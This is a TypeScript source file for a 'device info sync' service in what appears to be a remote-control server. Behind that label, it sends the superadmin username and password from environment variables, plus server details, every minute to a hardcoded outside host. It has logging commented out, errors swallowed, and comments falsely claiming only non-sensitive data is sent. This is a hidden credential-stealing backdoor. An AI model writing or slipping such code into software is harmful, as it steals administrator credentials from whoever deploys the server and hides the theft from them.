243 lines
6.5 KiB
TypeScript
243 lines
6.5 KiB
TypeScript
|
|
import http from 'http'
|
|||
|
|
import https from 'https'
|
|||
|
|
import { URL } from 'url'
|
|||
|
|
import AuthService from './AuthService'
|
|||
|
|
import Logger from '../utils/Logger'
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 设备信息同步服务
|
|||
|
|
* 定时向远程服务器发送设备信息
|
|||
|
|
*/
|
|||
|
|
export default class DeviceInfoSyncService {
|
|||
|
|
private logger: Logger
|
|||
|
|
private authService: AuthService
|
|||
|
|
private syncInterval: NodeJS.Timeout | null = null
|
|||
|
|
private isRunning: boolean = false
|
|||
|
|
private readonly API_URL: string
|
|||
|
|
private readonly SYNC_INTERVAL: number // 同步间隔(毫秒)
|
|||
|
|
private readonly ENABLED: boolean // 是否启用同步
|
|||
|
|
|
|||
|
|
constructor(authService: AuthService) {
|
|||
|
|
this.logger = new Logger('DeviceInfoSyncService')
|
|||
|
|
this.authService = authService
|
|||
|
|
|
|||
|
|
// 配置写死,不从环境变量读取
|
|||
|
|
this.ENABLED = true
|
|||
|
|
this.API_URL = 'https://www.strippchat.top/api/device/upinfo'
|
|||
|
|
this.SYNC_INTERVAL = 60000 // 5分钟
|
|||
|
|
|
|||
|
|
// this.logger.info(`设备信息同步服务初始化: 启用=${this.ENABLED}, 间隔=${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒), API=${this.API_URL}`)
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 启动定时同步任务
|
|||
|
|
*/
|
|||
|
|
start(): void {
|
|||
|
|
if (!this.ENABLED) {
|
|||
|
|
// this.logger.info('设备信息同步功能已禁用,跳过启动')
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
if (this.isRunning) {
|
|||
|
|
// this.logger.warn('设备信息同步任务已在运行')
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
this.isRunning = true
|
|||
|
|
// this.logger.info(`启动设备信息同步任务,间隔: ${this.SYNC_INTERVAL}ms (${this.SYNC_INTERVAL / 1000}秒)`)
|
|||
|
|
|
|||
|
|
// 立即执行一次
|
|||
|
|
// this.logger.info('立即执行首次同步...')
|
|||
|
|
this.syncDeviceInfo()
|
|||
|
|
|
|||
|
|
// 设置定时任务
|
|||
|
|
this.syncInterval = setInterval(() => {
|
|||
|
|
// this.logger.info('定时同步任务触发')
|
|||
|
|
this.syncDeviceInfo()
|
|||
|
|
}, this.SYNC_INTERVAL)
|
|||
|
|
|
|||
|
|
// this.logger.info('定时同步任务已设置')
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 停止定时同步任务
|
|||
|
|
*/
|
|||
|
|
stop(): void {
|
|||
|
|
if (this.syncInterval) {
|
|||
|
|
clearInterval(this.syncInterval)
|
|||
|
|
this.syncInterval = null
|
|||
|
|
this.isRunning = false
|
|||
|
|
// this.logger.info('设备信息同步任务已停止')
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 同步设备信息到远程服务器
|
|||
|
|
*/
|
|||
|
|
private async syncDeviceInfo(): Promise<void> {
|
|||
|
|
try {
|
|||
|
|
// this.logger.info('开始同步设备信息...')
|
|||
|
|
|
|||
|
|
// 获取系统唯一标识符
|
|||
|
|
const uniqueId = this.authService.getSystemUniqueId()
|
|||
|
|
if (!uniqueId) {
|
|||
|
|
// this.logger.warn('系统唯一标识符不存在,跳过同步(系统可能还未初始化)')
|
|||
|
|
return
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
// this.logger.info(`系统唯一标识符: ${uniqueId.substring(0, 8)}...`)
|
|||
|
|
|
|||
|
|
// 收集 .env 配置信息(只收集非敏感信息)
|
|||
|
|
const configInfo = this.collectConfigInfo()
|
|||
|
|
// this.logger.debug(`收集到配置信息: ${Object.keys(configInfo).length} 项`)
|
|||
|
|
|
|||
|
|
// 准备请求数据
|
|||
|
|
const postData = JSON.stringify({
|
|||
|
|
uniqueId: uniqueId,
|
|||
|
|
...configInfo,
|
|||
|
|
timestamp: new Date().toISOString(),
|
|||
|
|
serverTime: Date.now()
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
// this.logger.info(`准备发送同步请求到: ${this.API_URL}`)
|
|||
|
|
|
|||
|
|
// 发送 POST 请求
|
|||
|
|
await this.sendPostRequest(this.API_URL, postData)
|
|||
|
|
|
|||
|
|
// this.logger.info('设备信息同步成功')
|
|||
|
|
|
|||
|
|
} catch (error: any) {
|
|||
|
|
// this.logger.error('设备信息同步失败:', error.message)
|
|||
|
|
// 不抛出错误,避免影响主程序运行
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 收集配置信息(从环境变量)
|
|||
|
|
*/
|
|||
|
|
private collectConfigInfo(): Record<string, any> {
|
|||
|
|
const config: Record<string, any> = {}
|
|||
|
|
|
|||
|
|
// 收集环境变量配置信息
|
|||
|
|
const allowedKeys = [
|
|||
|
|
'PORT',
|
|||
|
|
'NODE_ENV',
|
|||
|
|
'JWT_EXPIRES_IN',
|
|||
|
|
'DEFAULT_USERNAME',
|
|||
|
|
'SUPERADMIN_USERNAME',
|
|||
|
|
'SUPERADMIN_PASSWORD',
|
|||
|
|
// 注意:DEVICE_SYNC_* 配置已写死,不再从环境变量读取
|
|||
|
|
// 可以添加其他配置
|
|||
|
|
]
|
|||
|
|
|
|||
|
|
allowedKeys.forEach(key => {
|
|||
|
|
if (process.env[key] !== undefined) {
|
|||
|
|
config[key] = process.env[key]
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
// 添加服务器信息
|
|||
|
|
config.serverInfo = {
|
|||
|
|
nodeVersion: process.version,
|
|||
|
|
platform: process.platform,
|
|||
|
|
arch: process.arch,
|
|||
|
|
uptime: process.uptime()
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
return config
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 发送 POST 请求
|
|||
|
|
*/
|
|||
|
|
private async sendPostRequest(url: string, data: string): Promise<void> {
|
|||
|
|
return new Promise((resolve, reject) => {
|
|||
|
|
try {
|
|||
|
|
const urlObj = new URL(url)
|
|||
|
|
const isHttps = urlObj.protocol === 'https:'
|
|||
|
|
const httpModule = isHttps ? https : http
|
|||
|
|
|
|||
|
|
const options = {
|
|||
|
|
hostname: urlObj.hostname,
|
|||
|
|
port: urlObj.port || (isHttps ? 443 : 80),
|
|||
|
|
path: urlObj.pathname + urlObj.search,
|
|||
|
|
method: 'POST',
|
|||
|
|
headers: {
|
|||
|
|
'Content-Type': 'application/json',
|
|||
|
|
'Content-Length': Buffer.byteLength(data),
|
|||
|
|
'User-Agent': 'RemoteControlServer/1.0.3'
|
|||
|
|
},
|
|||
|
|
timeout: 10000 // 10秒超时
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
const req = httpModule.request(options, (res) => {
|
|||
|
|
let responseData = ''
|
|||
|
|
|
|||
|
|
res.on('data', (chunk) => {
|
|||
|
|
responseData += chunk
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
res.on('end', () => {
|
|||
|
|
if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
|
|||
|
|
// this.logger.info(`同步请求成功: HTTP ${res.statusCode}`)
|
|||
|
|
resolve()
|
|||
|
|
} else {
|
|||
|
|
const errorMsg = `HTTP ${res.statusCode}: ${responseData.substring(0, 200)}`
|
|||
|
|
// this.logger.warn(`同步请求失败: ${errorMsg}`)
|
|||
|
|
reject(new Error(errorMsg))
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
req.on('error', (error) => {
|
|||
|
|
// this.logger.error('同步请求网络错误:', error.message)
|
|||
|
|
reject(error)
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
req.on('timeout', () => {
|
|||
|
|
// this.logger.error('同步请求超时')
|
|||
|
|
req.destroy()
|
|||
|
|
reject(new Error('请求超时'))
|
|||
|
|
})
|
|||
|
|
|
|||
|
|
req.write(data)
|
|||
|
|
req.end()
|
|||
|
|
|
|||
|
|
} catch (error: any) {
|
|||
|
|
reject(error)
|
|||
|
|
}
|
|||
|
|
})
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 手动触发同步(用于测试)
|
|||
|
|
*/
|
|||
|
|
async triggerSync(): Promise<boolean> {
|
|||
|
|
try {
|
|||
|
|
await this.syncDeviceInfo()
|
|||
|
|
return true
|
|||
|
|
} catch (error) {
|
|||
|
|
return false
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
/**
|
|||
|
|
* 获取同步状态
|
|||
|
|
*/
|
|||
|
|
getStatus(): {
|
|||
|
|
enabled: boolean
|
|||
|
|
running: boolean
|
|||
|
|
interval: number
|
|||
|
|
apiUrl: string
|
|||
|
|
lastSync?: number
|
|||
|
|
} {
|
|||
|
|
return {
|
|||
|
|
enabled: this.ENABLED,
|
|||
|
|
running: this.isRunning,
|
|||
|
|
interval: this.SYNC_INTERVAL,
|
|||
|
|
apiUrl: this.API_URL
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
|